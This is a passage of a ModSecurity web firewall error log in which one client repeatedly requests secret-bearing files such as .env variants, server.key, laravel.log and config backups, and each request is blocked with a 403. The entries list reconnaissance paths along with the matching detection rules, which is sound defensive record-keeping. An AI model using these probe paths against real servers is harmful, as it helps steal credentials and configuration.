&quot;aIfFZztW59P3rmsxDxVpnwAAAAI&quot;]
[Mon Jul 28 20:45:59.139362 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.local&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpnwAAAAI&quot;]
[Mon Jul 28 20:45:59.139518 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.local&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpnwAAAAI&quot;]
[Mon Jul 28 20:45:59.161774 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.production&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpoAAAAAI&quot;]
[Mon Jul 28 20:45:59.161970 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.production&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpoAAAAAI&quot;]
[Mon Jul 28 20:45:59.162129 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.production&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpoAAAAAI&quot;]
[Mon Jul 28 20:45:59.184543 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.staging&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpoQAAAAI&quot;]
[Mon Jul 28 20:45:59.184733 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.staging&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpoQAAAAI&quot;]
[Mon Jul 28 20:45:59.184898 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.staging&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpoQAAAAI&quot;]
[Mon Jul 28 20:45:59.207097 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /main/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpogAAAAI&quot;]
[Mon Jul 28 20:45:59.207272 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpogAAAAI&quot;]
[Mon Jul 28 20:45:59.207427 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpogAAAAI&quot;]
[Mon Jul 28 20:45:59.252629 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/app/private/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/app/private/.env&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVppAAAAAI&quot;]
[Mon Jul 28 20:45:59.252806 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/app/private/.env&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVppAAAAAI&quot;]
[Mon Jul 28 20:45:59.252947 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/app/private/.env&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVppAAAAAI&quot;]
[Mon Jul 28 20:45:59.275000 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVppQAAAAI&quot;]
[Mon Jul 28 20:45:59.275293 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVppQAAAAI&quot;]
[Mon Jul 28 20:45:59.275463 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVppQAAAAI&quot;]
[Mon Jul 28 20:45:59.297655 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/composer.lock&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /composer.lock found within REQUEST_FILENAME: /composer.lock&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVppgAAAAI&quot;]
[Mon Jul 28 20:45:59.297832 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVppgAAAAI&quot;]
[Mon Jul 28 20:45:59.297976 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVppgAAAAI&quot;]
[Mon Jul 28 20:45:59.319985 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVppwAAAAI&quot;]
[Mon Jul 28 20:45:59.320257 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVppwAAAAI&quot;]
[Mon Jul 28 20:45:59.320404 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVppwAAAAI&quot;]
[Mon Jul 28 20:45:59.365883 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php5.ini&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpqQAAAAI&quot;]
[Mon Jul 28 20:45:59.366191 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php5.ini&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpqQAAAAI&quot;]
[Mon Jul 28 20:45:59.366390 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php5.ini&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpqQAAAAI&quot;]
[Mon Jul 28 20:45:59.388565 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpqgAAAAI&quot;]
[Mon Jul 28 20:45:59.388862 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpqgAAAAI&quot;]
[Mon Jul 28 20:45:59.389040 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpqgAAAAI&quot;]
[Mon Jul 28 20:45:59.530575 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpsAAAAAI&quot;]
